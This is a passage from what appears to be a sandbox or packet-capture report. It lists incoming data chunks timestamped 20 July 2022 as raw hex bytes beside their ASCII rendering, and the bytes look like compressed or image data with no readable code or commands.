62 28 26 e1 92 09 1f 13 a1 e9 51 e5 8d a4 09 24 55 9c b4 18 24 d4 40 13 9c d4 9c 89 ca 98 e5 53 9b 13 57 3e ac 0a 5c 53 e0 24 92 72 8e 9a ce 25 94 64 Data Ascii: <0$\d)9mLh2#,62U\J(HpKS1$m0QLJNz,`hqJ$W,a2vY.7YQ*Ii}p`V![;}4y;`=rgceN\p#)+4qV+=b(&Q$U$@SW>\S$r%d
2022-07-20 17:31:06 UTC	4291	IN	Data Raw: f9 62 c7 cb a9 a6 e8 41 3d 4b b7 15 cd 97 44 b0 c4 ee 72 22 6b 1b 74 ac 9a 67 8e b2 9c ad 01 0c ee 3f 0a c1 df 6a e6 e6 20 6f 1b 32 91 52 7c 04 c8 18 ea 6d e8 2d a1 79 1c be 07 0d 53 93 c7 b6 c5 d4 c9 df 50 bd 63 39 fe d8 96 ab ea 65 8a 99 fc 8f 73 6e 53 c1 72 b6 a8 aa 14 9a 01 da 67 a8 35 a7 8e 2a e3 90 5a e8 cc e4 5e 5b aa 57 8e a6 d3 5a 80 68 43 11 ac 9a cc 53 c7 c3 1a d6 9f 8a 33 76 07 c6 2a ce 0d 91 b6 d1 45 34 ed dc 08 83 3d 60 e7 82 af b7 5f 3f c4 e5 5e a8 7a cf 02 d1 db 71 c6 d0 dd dd d0 21 85 62 41 f3 00 79 63 1a c2 c9 b2 6c 62 f0 b4 84 aa b3 10 ab da 46 5a 0e ea c6 95 06 93 8d 2b ff 00 e4 c1 66 0a 35 a1 6c 6e b5 01 72 24 d6 75 3f 0a 7f 4c 25 5d a6 6e d2 29 c6 4b 4d fa d3 b0 ac 12 ce 09 ce 24 81 e5 96 3b 74 1d a0 7b dc a2 a5 ac d8 00 39 60 54 20 Data Ascii: bA=KDr"ktg?j o2R\|m-ySPc9esnSrg5Z^[WZhCS3vE4=`_?^zq!bAyclbFZ+f5lnr$u?L%]n)KM$;t{9`T
2022-07-20 17:31:06 UTC	4307	IN	Data Raw: 2c 90 15 2f 37 14 07 ee 92 46 e2 c4 4c 66 26 34 38 5b 99 db 50 c7 2e fa 5d 28 e0 b1 bc 40 00 83 48 50 64 10 74 af 49 cb 01 c0 ad 79 15 be 15 a0 2c 34 ee 26 01 a6 d5 ce 4e 78 78 7a 19 a0 be b2 81 eb 5b 66 21 89 3f 71 89 03 43 97 f7 c4 b3 68 d1 20 f6 af da f4 e2 db cd f0 4a 80 49 14 03 51 49 1e 11 18 0e d2 68 b8 e0 15 d6 4e 56 d0 f7 36 ef 21 94 01 99 cb f1 f9 75 c2 b5 e5 40 1e 07 b8 ec ea ab 6b 34 66 da 60 08 82 33 f3 a6 04 1a a7 80 d7 ae 11 60 8e da 91 04 01 9e 90 73 cf 0a 89 54 17 39 2c 85 b6 b7 58 16 00 90 09 06 92 72 11 06 27 c2 23 cb 1c dd ac c2 aa 0c 5e 5b 8a 56 e6 e2 4b 8e c5 30 01 39 c6 86 30 52 75 1c 48 1e 3e f3 6f 75 c2 48 da 41 df 9a 13 31 e6 d5 f8 f9 61 b5 d4 ce 63 07 2f 18 dd 49 b2 48 0b 1b c3 43 40 c8 1a 4d 3a 60 ef 81 2a 0a ba 37 1d 0b ed 22 Data Ascii: ,/7FLf&48[P.](@HPdtIy,4&Nxxz[f!?qCh JIQIhNV6!u@k4f`3`sT9,Xr'#^[VK090RuH>ouHA1ac/IHC@M:`*7"
2022-07-20 17:31:06 UTC	4315	IN	Data Raw: 6d a1 86 e8 99 2d 03 28 02 7c 32 f0 9c 59 8e de ad 92 a5 0a da b6 88 0a fa bb 4f fc 95 8a 4e da 49 9a c1 af c6 70 1a eb f9 b1 03 b2 8d 75 83 7a 84 5b 82 ed 70 79 1a 56 9e 14 d0 60 3b 29 9a e5 f6 39 29 34 85 e5 b9 6d 85 84 f4 ac 85 60 e5 7b 8d c5 22 23 4f ad 06 1d f2 a5 95 51 d4 05 fe 62 b7 fe b7 19 64 1a 6c 53 3a 93 1a fe 18 e7 54 d0 9b 68 af a7 fb 44 0d 78 db d8 0d 5c ad 09 d2 01 12 41 ac 90 33 a6 25 9b ea 44 e4 05 9e 4d a6 75 e3 5b 64 6b 8b f7 b8 12 53 71 30 6b 11 a1 27 4a e6 71 9a b2 7a 15 a3 ae 5b 4b 41 1a f3 3b ba 96 ee 1f 7b 74 62 07 f1 d7 12 d8 2a 41 dc fd a2 fb 0b 6d 1b 42 9e e2 7a 03 04 88 12 67 1c a6 f9 25 90 33 71 c4 5e 68 05 48 80 a4 0a 66 62 2b 9f 4e 98 75 ce 08 e3 a8 a9 b8 bb 40 2a 55 6e a9 22 64 ee 23 39 eb e2 31 a3 a4 07 05 1d 5e e7 6b a6 Data Ascii: m-(\|2YONIpuz[pyV`;)9)4m`{"#OQbdlS:ThDx\A3%DMu[dkSq0k'Jqz[KA;{tbAmBzg%3q^hHfb+Nu@Un"d#91^k
2022-07-20 17:31:06 UTC	4331	IN	Data Raw: 74 10 b2 7c 3e 98 34 ca 81 dd 38 31 cd a3 79 48 b4 63 6e d2 9b f2 1e 75 d6 99 11 88 eb 20 58 1d b2 d7 96 77 31 af 69 58 20 16 34 30 4d 62 27 c2 30 bf aa 81 6a 52 e5 e3 66 ef ab 6b ba 25 8b 10 0e 4b 26 84 89 dd 9f 5c 05 47 62 ee 80 36 ee 5c b8 9e a7 29 c5 c7 12 25 86 e2 14 f5 a5 22 4e 34 df b7 01 76 90 a8 21 62 c4 87 00 06 0b 50 3f f8 f5 90 70 97 2b aa 80 ba 64 9e 3f 1d ee 06 0a bb 7b 68 01 ac a8 3b 4c 49 89 cb f1 18 ed ce 0e 54 49 9a 9c 6b 56 94 5c 04 36 d6 59 86 3b 88 93 52 62 3c 71 8d dc 9a f1 a4 2a bc 67 b3 36 8d d8 61 53 b6 60 47 53 f2 8f 3c 3b 42 d7 52 6a 01 6c 7a 84 07 6e ec a8 25 54 11 5f ba 86 a4 89 c4 5b ac 4b 60 5b 92 01 2a 19 58 c5 36 cf 68 55 99 a1 af 43 98 f9 63 b9 70 8e ae 06 db 97 28 78 f2 36 57 70 0d b8 6e 1f cc 0a 61 6c 95 22 dc 5c 5e f5 Data Ascii: t\|>481yHcnu Xw1iX 40Mb'0jRfk%K&\Gb6\)%"N4v!bP?p+d?{h;LITIkV\6Y;Rb<qg6aS`GS<;BRjlzn%T_[K`[X6hUCcp(x6Wpnal"\^
2022-07-20 17:31:06 UTC	4347	IN	Data Raw: 15 de b7 0a 5e 57 5f 50 12 a3 66 64 4e 93 9d 3f 8d 30 fa 01 e0 31 b4 6d 10 16 19 81 1d cd 40 1b 4f 8f 4c 54 f6 d4 29 cb 12 b6 c1 40 0c cf b0 66 c5 81 3b 81 24 54 67 d6 9f 8e 33 a5 99 cc e2 0f fc b2 06 e2 4b 03 1b a0 01 24 f9 50 fc 71 aa b8 76 c0 57 42 6d b5 ab 65 c3 98 61 b0 cc d6 b9 08 f1 3f cb 13 7c 89 50 3a f1 b7 5c 36 a8 ca 37 09 5a 1e ea cf ce 64 4e 33 b0 d5 41 f2 16 c0 76 e4 05 3b ca ed 66 dc 0a c4 52 93 15 11 f1 c0 4b 39 39 60 80 ed 06 54 ad c4 0a 25 a0 8a 53 a5 49 fe 98 f5 52 b5 05 d3 64 0b 63 79 20 cc 18 68 a0 24 e4 0d 66 7a 46 15 e2 30 66 93 25 16 d6 d6 0d 1e a4 13 27 a3 12 09 ce 44 0e 83 1e 46 6e aa 32 b7 50 81 b1 56 2e 05 ee 00 89 14 12 72 33 39 8e 98 b0 a0 a9 0c a0 02 17 61 aa 91 56 90 22 7b 97 cc d3 03 e0 24 24 15 ef 9d c0 76 80 0a 92 72 6f Data Ascii: ^W_PfdN?01m@OLT)@f;$Tg3K$PqvWBmea?\|P:\67ZdN3Av;fRK99`T%SIRdcy h$fzF0f%'DFn2PV.r39aV"{$$vro
2022-07-20 17:31:06 UTC	4355	IN	Data Raw: 99 07 69 a8 a0 99 11 14 31 81 6e 47 a3 15 6a 9e 81 0d cb 88 12 e2 b3 9b b1 f9 7e d0 68 3e b9 78 63 38 c4 8d 63 50 b6 f9 37 5a d2 da b0 c5 42 4b 80 35 68 00 37 80 ac 63 38 9c 16 45 96 fb 09 2c e0 82 77 48 00 56 02 c1 91 40 46 50 31 76 c0 27 cc 27 ef 2e 87 63 71 83 3a ba 92 8f 2a 44 89 0d 00 c4 91 f5 cf 1a 47 98 9b ea 82 72 39 37 fd c1 05 ab 61 c5 90 e0 fa 8e 0c 47 fb 40 20 d0 c8 19 e6 71 cb 89 05 5d dc a3 25 db 4d fb 7b 4c 82 58 43 4c 83 00 fd c2 82 83 cf 0b 42 31 96 e3 fa 3e a5 c7 5d aa c3 7a 90 b2 c3 fd c6 04 56 94 a6 58 4a db 91 76 f8 90 2d 6b 69 17 8d d9 74 14 01 ab 11 53 ac 46 7f 4c 72 3a 57 5f c0 13 af 0e d3 2f ee 2d b3 14 96 15 26 bf 94 69 1d 63 06 0a da 2c 97 2d 07 56 b6 b2 42 80 2b 20 69 e7 d7 1d 2d 12 b0 2b 7b 92 c1 0f aa 65 4c d3 2f b6 91 a0 eb Data Ascii: i1nGj~h>xc8cP7ZBK5h7c8E,wHV@FP1v''.cq:*DGr97aG@ q]%M{LXCLB1>]zVXJv-kitSFLr:W_/-&ic,-VB+ i-+{eL/
2022-07-20 17:31:06 UTC	4371	IN	Data Raw: c0 da 59 08 42 dc 9d d0 37 40 10 4f 51 1a 93 9f 86 03 8b 61 0e 89 8e 72 39 f7 b9 aa 85 00 6e 30 cf b6 28 b0 b0 0d 69 9e 3a a9 f5 f0 bb 96 c8 4a f2 b9 29 71 36 29 4d b0 14 4e d2 01 15 98 20 02 7a 8c 5c 2c 05 d6 4f ff d3 fd df ed 6c 96 ad aa 5f 53 71 43 30 52 d5 92 a0 9c e4 52 7a f9 63 e3 f1 dd 69 e3 f7 3e a3 ae 37 74 c1 e8 38 7c 9b 90 c6 fa 11 6d 5c 09 dc 43 12 da 11 95 06 5f ce 71 e8 ca 03 9a e8 1d 87 a7 37 38 8e bb 18 02 60 01 06 64 86 a5 66 be 14 27 05 da 5e 7e 86 ab dc a4 cc 7b 89 62 f3 b5 b6 26 d8 68 cc 90 09 ac 7c 34 a6 1c 47 f2 65 ba 5c 17 b9 64 71 80 16 ca d7 7e e8 58 1b 89 80 05 67 ac e2 cb 5f d4 03 56 2d 2d db 06 ef 21 99 60 2c 41 04 91 15 02 b3 9d 7c a7 1d b9 8b 64 68 06 f5 9b 48 8c 51 9b 74 05 46 60 14 c4 d4 99 ea 29 4c 68 9b 47 34 02 cd c5 5b Data Ascii: YB7@OQar9n0(i:J)q6)MN z\,Ol_SqC0RRzci>7t8\|m\C_q78`df'^~{b&h\|4Ge\dq~Xg_V--!`,A\|dhHQtF`)LhG4[
2022-07-20 17:31:06 UTC	4387	IN	Data Raw: 4f 52 f4 d6 4a da 05 48 14 88 88 99 ea 67 2f 8e 12 e6 3a b5 85 2b c7 98 3e 5b 5b b7 6d 59 47 6e e2 15 8e b4 98 27 a8 d3 cb 12 cd bd 02 ac ed 97 d3 c7 af c0 44 f2 1a e2 0e 3d 80 11 99 81 2c d4 a1 04 f9 4f 86 98 4a ae ba 91 5f 76 17 8f 1d 8b 0e 21 b5 ea 1b bb dd 9d 40 f4 d4 48 98 91 91 cf fb e2 ef 9d 09 b5 75 05 c8 e1 b5 b5 22 41 b9 4d aa a4 4c 93 59 1a 0f ae 17 dd 6b 07 66 c5 f8 e9 71 11 06 c5 2c c2 55 98 89 90 4e e6 a6 9d 0c eb 8c eb 56 de 7c 79 93 42 2e 6c 07 d5 1b de f2 ed 46 a0 21 ab dc 05 64 46 84 4e 58 ed a6 95 f6 ea 06 e7 32 e0 63 79 ce cb 6d 55 00 ee d0 41 ae 5e 53 9e 34 db d0 16 4a c2 1c 7e 3b 5d 30 4e c0 c1 8d 01 22 24 d0 cc 65 f1 11 88 96 09 4a 2e e6 9f 21 ef 12 d6 98 0d ae a2 14 09 24 93 9d 08 c7 7d a6 57 c9 06 72 5c 6f f8 8c 35 b2 95 06 a2 b3 Data Ascii: ORJHg/:+>[[mYGn'D=,OJ_v!@Hu"AMLYkfq,UNV\|yB.lF!dFNX2cymUA^S4J~;]0N"$eJ.!$}Wr\o5
2022-07-20 17:31:06 UTC	4394	IN	Data Raw: 9d 6a c4 90 15 89 89 20 d6 7a 81 89 bc b5 45 51 82 10 96 dd 59 07 61 0c 22 25 46 64 0d 63 c7 06 d4 cf 8d 0b 5b 29 c8 df 22 fd cb e5 ad 35 b6 dc a8 a0 54 85 60 06 67 c6 31 ad e1 2f 1e 80 56 69 b8 15 bd 62 ab 6a e9 01 45 65 16 b5 a0 3e 30 62 b1 9e 31 ab 8d 4d 15 37 04 20 76 fa 0a 00 03 69 b8 3e d1 04 92 a7 e0 47 84 f4 9c 2d 4c e2 46 8b 94 22 e3 96 63 b1 7b 44 6d 8c fc e0 60 5e dd ca 94 00 09 75 41 54 5f b6 5f 53 42 3e df 11 d1 bc f1 53 34 4e 4e 6b 26 ea ec b6 18 31 81 1f 01 98 cb 2c 4a 58 2d 15 65 ba c3 d6 14 65 21 24 44 99 32 06 50 4d 2b e1 8d 9d 8c d9 77 e4 a5 88 b6 cd 05 60 8a 13 5d 49 99 1e 1a 19 f0 c0 b3 76 1d 70 53 d5 f5 15 af 2a 9b 61 40 56 93 d4 45 08 ee 91 38 15 6c 36 cb 2d c5 b7 eb 50 ee 00 12 2b 20 46 79 e7 f1 fa 63 46 c9 b7 26 be cb 4f 6e ed ab Data Ascii: j zEQYa"%Fdc[)"5T`g1/VibjEe>0b1M7 vi>G-LF"c{Dm`^uAT__SB>S4NNk&1,JX-ee!$D2PM+w`]IvpS*a@VE8l6-P+ FycF&On
2022-07-20 17:31:06 UTC	4410	IN	Data Raw: 3b 6e a6 41 92 c1 b2 20 40 32 a0 d3 4c 0d ce be 3a 0b 6c 68 64 b9 bb 68 2b 5a 22 18 17 de 16 a6 00 07 43 02 48 8c 6e ac 9b f2 33 b4 83 e3 5a ba 46 eb 48 02 34 24 51 8c d3 20 73 14 af f5 18 0e e7 55 31 d4 b1 eb 38 36 46 e0 54 ae 59 49 00 1f eb e3 d3 12 f6 93 64 b1 92 02 db 4b 3b 8b 87 da 5a 48 80 48 11 9c 1c e7 4d 27 02 d6 0a 2e cf b8 a8 08 aa 8c 0b 08 24 08 8c d8 c5 29 fd 31 5d 8e 4a 08 16 55 8f eb b9 06 e2 ed 2d 6a a3 b4 92 20 fd d5 1e 04 60 35 38 1b f2 22 e5 93 79 59 6e 93 6d 89 1b 09 11 5c b4 11 31 98 c3 6b ff 00 12 64 d0 f6 cf 68 b7 71 92 ca b3 0b b7 37 36 e8 8e d6 11 a0 a1 eb 3d 70 ad 74 4a 53 db 91 df 71 e1 59 e3 58 16 ed 86 0a a5 55 55 ea 40 3d df 1a 9a e3 34 df 42 a5 83 12 e5 c6 bc d7 43 31 6e da 18 d4 d3 30 24 60 ba b4 1a a9 2a 2c 11 77 d3 66 dd Data Ascii: ;nA @2L:lhdh+Z"CHn3ZFH4$Q sU186FTYIdK;ZHHM'.$)1]JU-j `58"yYnm\1kdhq76=ptJSqYXUU@=4BC1n0$`*,wf
2022-07-20 17:31:06 UTC	4426	IN	Data Raw: b2 6b 58 b2 d6 c2 0d c5 58 16 0d b8 d0 d2 63 43 d7 af 4c 3b 38 fe ba f5 0d 6a 31 7a e2 aa 7a 4a d0 33 97 1b b5 06 be 31 95 73 c6 5a eb a9 ab c2 06 cc 79 df a5 b4 91 bc 01 46 80 72 07 49 f9 98 cf 0a cd b5 1e 3d 43 54 31 7e eb 21 4d 9d 8f 04 7d d0 0e da 9e b9 e5 31 81 59 59 34 69 19 ff 00 b8 67 b8 36 ac 1f ca 48 32 40 69 ac d0 88 d0 e3 b7 2b 30 ee 35 ee 23 2a a7 27 d4 5d b9 6d 1b 46 7f 0a 79 4f c7 15 f9 15 57 ae 3f 32 54 94 b2 9c 82 00 b6 c5 81 24 1e f9 a5 48 91 ad 3a 74 c4 86 5c 6a 58 1f 44 76 95 6d e2 62 49 53 11 22 4d 7c 0c 7c eb 89 67 bd 15 2e a5 55 4a 37 a8 a1 95 05 3b 48 ed 80 3f 83 4c 2a b8 44 21 39 35 73 2e a1 04 32 93 22 62 b4 13 11 39 e1 a2 ea cb dc ba 19 7b 87 61 20 11 ba 08 a4 99 1a 03 fc cc 63 a1 6a 46 50 db 28 96 ef a0 4a 12 e4 7e 75 dc 72 82 Data Ascii: kXXcCL;8j1zzJ31sZyFrI=CT1~!M}1YY4ig6H2@i+05#']mFyOW?2T$H:t\jXDvmbIS"M\|\|g.UJ7;H?LD!95s.2"b9{a cjFP(J~ur
2022-07-20 17:31:06 UTC	4434	IN	Data Raw: 49 96 08 27 e5 33 3f 4c 5a 95 2f 1e 34 11 b5 7d d6 da 8e 02 0b 6c 61 77 9a 9d c0 10 4c f8 a9 cf 1c 94 68 73 b2 be a1 ac 58 3c 60 2e b9 0a 8d 59 70 46 44 ed 90 66 41 6a e5 8e 76 ee 75 60 35 ed a8 0d c4 61 b7 b1 88 62 40 66 06 a0 d2 62 2b d3 1c 9a 59 34 93 3f 93 cc b7 c9 95 b9 ea 10 b3 b4 ac cc 6a 33 89 19 0f 0c 1a c4 fd 7f 50 59 b5 a0 c5 bf 4d 2d 3d ab 74 36 fb c0 73 b4 12 47 e5 22 2b 4e bf 8e 34 b2 da a5 6a 2d 50 87 26 e9 1d d0 6d 32 89 2a 09 05 75 3d 7a 66 71 12 56 53 6d 40 af 07 9f e7 ff 00 96 f1 ac 27 a7 6d 8d e2 92 58 24 ec 34 0c 6b 96 99 e3 27 46 17 c9 27 8a bf fe 7d 76 f2 fa dc 20 3d 31 0f b6 19 80 8f 19 88 d2 34 eb 8d 76 38 32 fb 86 2f 2b fc eb 97 cd 0e de ad e4 72 0e d5 b6 02 1a 44 00 47 53 fc 1c 3a 71 28 86 66 f9 0c e6 ff 00 26 e6 ad d5 ba 97 5b Data Ascii: I'3?LZ/4}lawLhsX<`.YpFDfAjvu`5ab@fb+Y4?j3PYM-=t6sG"+N4j-P&m2*u=zfqVSm@'mX$4k'F'}v =14v82/+rDGS:q(f&[
2022-07-20 17:31:06 UTC	4450	IN	Data Raw: 69 06 94 f9 63 5e 38 41 6d bd 01 58 01 00 bc 64 a9 64 01 81 82 09 20 56 33 8f 1d 30 2f d8 75 94 3e c8 1d b6 93 32 76 83 3f 68 52 49 03 a8 98 ac fd 31 92 c3 84 28 4c 51 6d 0f 49 85 b3 b8 c4 a9 30 b5 d2 47 e3 18 e7 68 64 55 50 4f ed da ee c0 c0 2e 8a 01 9d 62 7a 53 4d 71 cf 3a a2 a1 af d9 3d 9d a3 72 a2 21 0c 99 cc 93 5e 84 e2 51 a4 f0 ce 75 21 6c 5a e1 da 5d e1 b7 91 b4 36 e2 0a 92 64 b6 b5 6a ff 00 3c 5d ee c8 e5 1d 0a 71 af 48 5e 5a 82 09 dc 14 50 1a 13 30 7c 80 c5 d1 22 ee 21 9e f7 3a 80 86 31 b2 08 24 13 39 8a 19 cf 1d 48 61 89 19 1e dd 75 54 b5 eb 8b b4 c3 7d c6 49 5c c0 f3 c8 78 62 f1 72 a4 9a 0b 4f 41 06 17 f6 97 b5 de 48 0c 3f f1 a1 31 e6 71 ca f8 83 b6 b4 36 54 85 0f 78 04 20 13 9b 54 13 41 02 62 67 05 be a5 d7 a8 3b f6 cb ed 6b 45 5d 5e 58 ee 32 Data Ascii: ic^8AmXdd V30/u>2v?hRI1(LQmI0GhdUPO.bzSMq:=r!^Qu!lZ]6dj<]qH^ZP0\|"!:1$9HauT}I\xbrOAH?1q6Tx TAbg;kE]^X2
2022-07-20 17:31:06 UTC	4466	IN	Data Raw: a0 8c f5 c1 b4 b4 85 dc d3 4e 50 fd 34 b9 6c 98 0d 51 25 8f 41 59 ea 69 d2 b9 d3 02 ca 05 42 fe 88 65 37 41 25 58 02 16 0e e9 27 e5 13 8d 38 df 46 89 65 2c d0 6e 39 b8 2d f2 fd 58 ba 65 8a 31 c8 65 27 5c cd 2b 03 5c f1 e7 ff 00 c8 d1 b9 c0 0e 5d df da 5c 6e 25 83 e9 7a 85 58 5c 2b dd 02 94 26 68 46 51 8d 6b 97 2f f6 0d b1 84 64 72 2e 2a dc 60 80 c9 39 4f 6e d3 9c 52 05 3a fc 31 a5 72 63 66 6b 59 ba 0d 8b b7 ad aa b3 ee 92 24 0a 09 88 1a c0 98 d7 17 0c 75 64 5b e6 ed b5 e8 b1 60 c7 26 2c 08 08 75 83 a7 f4 f0 c6 6f 8f 76 50 eb 7d 9a 8b dc e2 0b 80 7b 87 18 85 64 12 9b 24 82 76 f8 67 19 ce 05 ab 0f d0 4e e1 6f 32 5f 33 6d 88 b4 a0 6d 1f f9 65 51 40 04 47 8c 9f 3c 6d 7f c8 c9 64 2b 58 60 c1 2d 86 85 3b 5b 64 91 20 57 3e 91 23 4c 4b 4a d4 ea 9c ad ea b1 42 b7 Data Ascii: NP4lQ%AYiBe7A%X'8Fe,n9-Xe1e'\+\]\n%zX\+&hFQk/dr.*`9OnR:1rcfkY$ud[`&,uovP}{d$vgNo2_3mmeQ@G<md+X`-;[d W>#LKJB
2022-07-20 17:31:06 UTC	4474	IN	Data Raw: 69 70 db 69 66 04 48 9c b3 a7 99 34 fa 61 a4 8c dd 98 b0 0f 7d 5d f9 04 aa 97 22 36 90 6a 26 26 86 04 e5 4f 8e 0b e4 87 1e 1f e8 3d b2 5d f8 4f c4 e2 ee e5 8a 16 25 14 18 db 35 12 73 04 08 24 f9 62 dd b7 a0 2a a0 d3 f6 9e 60 6b a8 d6 81 1d b0 55 48 00 48 83 4f 2d 7a e0 ae 36 69 ba 41 b7 bb ec b8 97 ad 1d 8b b0 ee 49 32 c0 d1 b7 4c f7 79 79 c6 3b 92 90 55 61 2b b7 13 92 43 35 a5 5b 9b 94 0b 60 67 a8 0d 1a 93 99 eb e1 84 b2 a0 36 32 de cb 80 2c 5c 58 1b 98 03 51 06 9a 9a c4 50 63 44 99 84 8b f2 78 e5 94 2d f9 0b 1b 41 07 c4 91 34 39 75 38 a9 9d a8 3f 4b d0 60 6e 36 eb 6f b8 28 5c a0 d0 10 d9 eb d7 19 2d 72 36 b0 36 9c 77 b8 aa 2c 86 55 7d c2 08 a1 81 5f 0c a3 a9 9c 69 6b 24 1a d5 9b be dd c4 e1 f0 9d da ee f6 5b 6f 01 14 12 59 80 81 43 a7 71 a5 08 c7 9f 29 Data Ascii: ipifH4a}]"6j&&O=]O%5s$b*`kUHHO-z6iAI2Lyy;Ua+C5[`g62,\XQPcDx-A49u8?K`n6o(\-r66w,U}_ik$[oYCq)
2022-07-20 17:31:06 UTC	4490	IN	Data Raw: ce b0 33 03 2c 6e eb e6 67 30 0a c5 b6 ba fb 6d 10 ea 41 02 29 3a 90 04 c8 a1 d7 06 9e e0 59 9e 87 82 b7 ac 70 b9 5c 7b ec 45 b4 ee b6 aa d1 b8 4d 48 31 06 a3 fa e0 5a af a1 ad 1e 0c db d7 6e 5c 56 53 bb d3 7e e6 f4 d8 85 31 d0 d4 d4 e5 f1 f2 c2 aa 61 6e 4a 5c 36 78 6e 96 d6 6e 5e a8 1b a7 b1 80 dc 66 a6 44 45 48 c4 4e 7e 05 58 46 aa 72 38 f1 74 b3 1f 4d 99 45 b1 ba 4c 83 12 47 49 f8 78 62 b5 19 5a 0a b6 c0 1e 57 11 b7 5c 7e 08 3b 01 30 4c 6d 96 07 5c a6 0e 43 12 cc e5 59 32 6e 71 af 34 10 4d c8 ab 32 00 66 33 9f 97 4d 31 77 06 f5 81 db 22 c5 ae 38 77 04 b8 26 85 a9 14 d7 cc d4 13 8c ec db d0 4a 16 a1 2d df b3 69 bf 79 e9 5b 75 0d 01 59 a4 ef 00 80 75 14 9f 01 4c 3a 55 ba 93 7a 14 e0 fa 17 2f 6d 77 76 37 54 ef 3d c3 22 6a 0f 5d 33 c6 6a d3 82 a3 4b 90 56 Data Ascii: 3,ng0mA):Yp\{EMH1Zn\VS~1anJ\6xnn^fDEHN~XFr8tMELGIxbZW\~;0Lm\CY2nq4M2f3M1w"8w&J-iy[uYuL:Uz/mwv7T="j]3jKV
2022-07-20 17:31:06 UTC	4506	IN	Data Raw: 53 91 c6 66 80 01 2d 9a 48 ac 47 9f 4c 0a cb d4 b6 85 a1 a3 ed ff 00 e4 4a ea 5f 9d 64 37 aa a0 12 08 11 b5 a6 49 19 d4 69 fd f0 de 02 9c 9b 63 9b c4 bb ba e7 1d 4b 48 5d c8 58 cd 2b 90 39 8a 48 c6 56 70 cd 20 57 90 7d 7b 85 10 0b 4a 40 85 04 89 92 62 67 22 be 55 f1 c6 e9 a6 a5 99 df 51 b4 b7 7b 8e 45 fb aa c0 15 d8 b4 30 ca 20 66 00 ee a9 82 35 cf 18 ab 23 45 49 2e 6e 97 46 61 6c 30 9a b4 c1 8f 11 d0 eb 03 31 d7 0f 91 60 92 0b d6 b3 70 11 78 94 20 83 b4 4b 48 07 32 d2 09 19 4c 9c b1 c9 e0 8d 92 f6 92 cc 59 0d d9 b9 b6 ab 13 d0 79 c1 9a eb e0 31 6b 62 5a a5 79 4a e0 16 da 3d 34 9f b6 08 ce a0 9a 92 09 ff 00 4c 2b 7b 4e 77 dc 0c 5d 0e ca d6 ae 2d 65 a1 62 a1 89 9a 19 15 02 33 c0 6e 48 9c 15 4b 57 f9 20 71 b8 f0 03 77 01 05 bb 86 8a 56 b0 01 23 3e ba 60 5a Data Ascii: Sf-HGLJ_d7IicKH]X+9HVp W}{J@bg"UQ{E0 f5#EI.nFal01`px KH2LYy1kbZyJ=4L+{Nw]-eb3nHKW qwV#>`Z
2022-07-20 17:31:06 UTC	4514	IN	Data Raw: dd 52 10 89 58 24 0a 89 d3 5c 4c 9d b7 02 6f 67 f6 9f f3 36 d2 04 29 6d 0d 0c 88 cf cb 2c 57 27 2a 96 4e 2a 71 6e 21 e4 b4 94 8b 9e 9c d0 99 30 01 3e 75 ae 35 aa c1 9b ae 46 d9 6e 14 54 b4 c5 6d b9 65 3b 4b 3b d4 83 2a 22 9a c6 31 55 83 54 a4 8f 70 bf c4 6f 4a df 0a de e2 07 78 8a 11 33 b8 9e bd 4f 8c e2 c8 06 4f 28 3d 8f 51 6e 13 4d ca b5 02 33 81 d4 67 5c 1d bb b2 68 dc 04 e3 30 47 6e 43 bb af 35 4f e9 a9 ee 5e e3 59 ce 77 0c 86 b5 c5 74 dd 83 aa fa 8b 37 b8 db 54 36 4d b4 f5 08 21 c3 76 b6 e3 48 61 d3 eb 81 b3 ed 68 2b db ee 6a 23 c6 f5 ad 27 a6 ab 2c 3b f7 9a c4 f5 ac 67 a6 67 4c 6a f2 79 e5 f1 e0 6d ef f1 ef 22 7e ee cd cb 60 b1 dd b8 11 20 0a 9f 00 4d 7c 4e 25 e9 19 35 90 9f b7 e3 72 51 ff 00 63 bd d0 10 e0 2b 54 e7 12 0f 87 f4 38 ee 3b ce a4 74 dc Data Ascii: RX$\Log6)m,W'Nqn!0>u5FnTme;K;*"1UTpoJx3OO(=QnM3g\h0GnC5O^Ywt7T6M!vHah+j#',;ggLjym"~` M\|N%5rQc+T8;t
2022-07-20 17:31:06 UTC	4530	IN	Data Raw: d0 17 6d 09 db e3 b2 a7 17 69 dc f0 b7 0a 68 9b 73 9f 39 8a 1c f0 b8 ee eb 3d bc 7c 8e 75 6d 64 1f 27 88 38 5c 95 74 b6 b0 a0 db b6 e1 4b 4e c5 99 23 26 3f 2a e3 d1 5b a7 fd 0c 36 c7 8f cf a0 cf b7 7b 4f 0b 91 67 93 6b 9e f7 1b 96 82 6c 94 86 55 22 68 d2 4c 6f 91 2c 4a ed 80 35 18 3c fc 8e a9 4b 91 d2 2c 47 28 b5 9b 36 d3 93 66 39 3b 4a b7 76 f0 48 06 b3 5d 3a 7c 31 d7 8b db 46 46 a0 42 d5 9b 56 ad 71 af 5a 57 0a cb 2a e0 6d 12 b3 02 0f 43 9d 44 98 c3 e4 6a 30 99 8d 3d c3 0b ed a1 d0 f2 37 8b 70 36 a9 90 4e e5 58 72 20 d0 74 30 71 85 1f 59 97 d8 de 0d cb df e3 bc 6b b6 ec 3b 3a 7a a6 76 83 28 08 0b 35 02 87 59 cc e9 38 ef bc db 78 8f 58 2b a4 64 52 df 16 d5 e0 97 ef 6c 01 64 77 80 01 00 f6 ed 0c 7e da 93 91 cb cb 02 97 54 cd bf 5f c4 56 ae f5 08 d4 ff 00 Data Ascii: mihs9=\|umd'8\tKN#&?[6{OgklU"hLo,J5<K,G(6f9;JvH]:\|1FFBVqZWmCDj0=7p6NXr t0qYk;:zv(5Y8xX+dRldw~T_V
2022-07-20 17:31:06 UTC	4546	IN	Data Raw: 13 e1 a9 11 18 d9 56 7f bb f5 5f 80 ac dd bf a8 95 c6 bb 1b f7 32 87 03 69 00 03 25 88 34 1e 23 1b 53 9e 89 c5 7e 4c ca d4 b5 b5 2b 76 f3 ed 0b 7d 4d db 8f 74 14 2e 49 3a f9 7f 1a e3 ad 97 83 94 a1 db 32 d6 c5 c4 46 41 70 a9 96 59 81 1a f4 24 62 df 8a 7f b6 a2 df 82 9e d8 dc d0 a2 2c 16 51 ba 8c 0c e6 47 c3 e2 72 c6 97 a3 aa 52 63 5e 44 f0 34 fc 8e 55 d4 b9 c7 2a ab 76 d8 b6 b7 02 cc 40 53 03 70 e9 f3 cb ae 33 bd b7 68 6d 4a c1 93 63 95 7f 8c 49 09 f7 2e 44 7f e3 ac f5 33 27 5a 0c b0 6e c8 b0 58 72 6f 39 80 a4 02 7b b6 a9 dd 43 51 27 21 41 1e 74 c4 e2 a4 e4 5b ca 72 2e b5 c5 60 ea 